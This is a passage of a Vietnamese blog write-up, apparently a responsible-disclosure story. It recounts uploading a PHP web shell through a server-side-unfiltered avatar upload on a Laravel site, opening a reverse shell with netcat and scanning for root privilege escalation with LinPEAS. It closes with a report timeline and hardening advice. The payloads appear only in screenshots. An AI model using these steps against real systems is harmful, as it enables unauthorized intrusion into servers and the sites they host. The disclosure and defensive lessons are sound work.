<p>Có được tài khoản đăng nhập rồi, giờ thì lượn lờ web xem như nào, thì mình hứng thú với chức năng upload file trong <code>Cài đặt tài Khoản</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159661368/43c698f6-0e9f-4c56-82a5-8558a8421ea5.png" alt class="image--center mx-auto" /></p>
<p>Thử upload 1 file không phải là ảnh thì nhận được thông báo lỗi</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159668104/8c38a4b7-b307-4980-8e04-6a03f5f12aeb.png" alt class="image--center mx-auto" /></p>
<p>Ok, ok, giờ bật Burpsuite lên và thực hiện upload file lại xem. Thử 1 file đúng các định dạng trên thì thành công.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159712796/fb39157b-2be7-4123-a8c3-ba8b7775c0ae.png" alt class="image--center mx-auto" /></p>
<p>Bây giờ thử upload shell lên thử nha, web kia là php-laravel nên mình làm tý shell là php nha, chuyển Burpsuite qua repeater nào.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159718924/490105e2-8899-4f00-a9bc-9cdde312d83e.png" alt class="image--center mx-auto" /></p>
<p>Á kìa, vẫn thành công - tức là không filter phía server. Thiệt luôn á, mấy ông tõi code website này lười thiệt chứ, đã lỡ filter client rồi thì filter luôn server đi cho nó có đôi có cặp, như này là hỏng cả bánh kẹo rồi. Server nó trả về thành công thì coi như tôi cũng thành công 85% các ông ạ =))</p>
<p>Thử quay lại browser xem avatar chứ hả =))</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159725386/9a62a178-20f2-4860-bf99-b225512c4b3b.png" alt class="image--center mx-auto" /></p>
<p>Image Avatar nó load lên bị lỗi này mấy má ơi, inspect lên xem nha.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159769245/2f389152-090a-40a5-9da0-a3a11a553d9a.png" alt class="image--center mx-auto" /></p>
<p>WOW, see, see, you see? Còn gì nữa đâu mà khóc với sâu, thử truy cập vào đường dẫn thử xem.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159797432/f90013ac-0b2d-45fc-96ba-510704245d6e.png" alt class="image--center mx-auto" /></p>
<p>Đã bảo là không <code>Còn gì nữa đâu mà khóc với sầu</code>. Shell lên và thực thi được đây rồi thây =))</p>
<h1 id="heading-dao-to-bua-lon-voi-reverseshell"><strong>Đao to búa lớn với reverseshell</strong></h1>
<p>Thì giờ thực thi command trên browser bất tiện nên là reverseshell nó về máy cho nó dễ thao tác.</p>
<p>Kiếm con server có ip public nhé. <code>Nc</code> cho nó port 8001 nè</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159806495/aca1cd3e-844f-4e1f-ad5e-ee9a0e5af2df.png" alt class="image--center mx-auto" /></p>
<p>Tạo cái payload này</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159819868/c05a4e56-5dfb-4d2d-9893-ad2803cc6b8a.png" alt class="image--center mx-auto" /></p>
<p>Chạy cái payload này</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159832400/e32b1436-ad6d-4295-b270-d691cba145fd.png" alt class="image--center mx-auto" /></p>
<p>Nhận cái shell về nè</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739159838564/69468104-7f8b-4057-9391-3d44452d92a9.png" alt class="image--center mx-auto" /></p>
<p>Sau khi reverseshell về được rồi, thì mình thử dùng <code>Linpeas</code> để scan xem có vector nào <code>Privilege Escalation</code> lên root được trên server này không.</p>
<p>(link đây: <a target="_blank" href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS</a>)</p>
<p>Thì ta nói, nó vô vàn cách để lên <code>root</code> từ con server này các ông ạ, khoan nói về các cách phức tạp thì cũng thấy đập vào mắt luôn là quả server kernel version cũ, có đầy exploit trên <a target="_blank" href="https://www.exploit-db.com/"><code>https://www.exploit-db.com/</code></a>.</p>
<p>Giờ thì server này là của mình, nghịch thôi, phá thôi.</p>
<p><code>ĐÙA ĐẤY, report cho bên họ thôi</code></p>
<p>Ơ thế thì cũng chỉ mới 1 website thôi, lấy đâu ra 8 website?</p>
<p><code>Thì thật ra có đoạn tôi quên kể là khi tôi reverseshell về rồi đó, tôi thử ls cái folder /var/www/html ra xem như nào, thì nó có tận 8 cái website trên đó mà những web đó đều đang chạy cả, có 1 số 8 website đó là trang quản lý task của công tý đó luôn, nhưng thôi tôi lương thiện mà, nên dừng ở đây report cho họ là được rồi</code></p>
<h1 id="heading-ket-luan"><strong>Kết luận</strong></h1>
<p>Nói chút qua timeline.</p>
<ul>
<li><p>Chiều 13/01/2021 (dương lịch): Tìm ra lỗi.</p>
</li>
<li><p>Cũng trong chiều hôm ấy 13/01/2021: Viết report và gửi cho bên quản lý website</p>
</li>
<li><p>Và chỉ hôm sau thôi (14/01/2021): Bên kia liên lạc lại với mình để confirm lỗi.</p>
</li>
<li><p>Ngày 15/01/2021: Họ xác nhận đã fix xong lỗi, nhờ mình kiểm tra hộ có còn tồn tại lỗi không và mình có nhân tiện đó xin phép viết bài writeup luôn cho vui.</p>
</li>
<li><p>... Đấy sự kiện tiếp theo thì thôi khỏi kể nha 😋</p>
</li>
</ul>
<p>Cuộc sống nhiều khi vô tình và đưa ta đến những điều thú vị, và bài viết này là một ví dụ như thế: <code>Tôi vô tình chiếm được website trên mạng nên mới vô tình viết bài này chứ không tôi ở ẩn vài năm nữa các bạn ạ =)) Lạnh cóng tay, nên lười lắm.</code></p>
<p>Qua bài này thì cũng cảnh báo cho các bạn lập trình viên cũng như quản trị server vài thứ luôn nhé:</p>
<ul>
<li><p>Trên môi trường production thì đừng có mã lỡ tay bật DEBUG lên</p>
</li>
<li><p>Tài khoản database thì nên tạo một tài khoản hạn chế quyền dành riêng cho từng ứng dụng web khác nhau, đừng mang ông <code>root</code> ra mà chạy như thế.</p>
</li>
<li><p>Các bạn lập trình thì filter cẩn thận vào, filter mỗi client thôi thì chỉ đánh lừa được người dùng bình thường thôi, gặp mấy ô thích chọc ngoáy là dở đấy.</p>
</li>
<li><p>Nên nâng version kernel server thường xuyên đi nha, và bớt chạy các service dưới quyền root đi.</p>
</li>
<li><p>... Nhiều điều còn muốn nói lắm, cơ mà cái thói lười nó lại đến, nên thôi nhé.</p>
</li>
</ul>
<p>\======&gt; Chiếm cái server này nó còn dễ hơn là chơi mấy bài CTF nữa</p>
<p>Cuối cùng, cảm ơn tất cả các bạn đã bỏ thời gian đọc bài viết của mình. Đợt này mình sẽ quay trở lại để viết blog, và mình có một series về OSWE có vẻ cũng hay. Hãy chờ đợi series học OSWE của mình sắp tới nhá, chắc chắn sẽ trước tết nè.</p>
]]></content:encoded></item></channel></rss>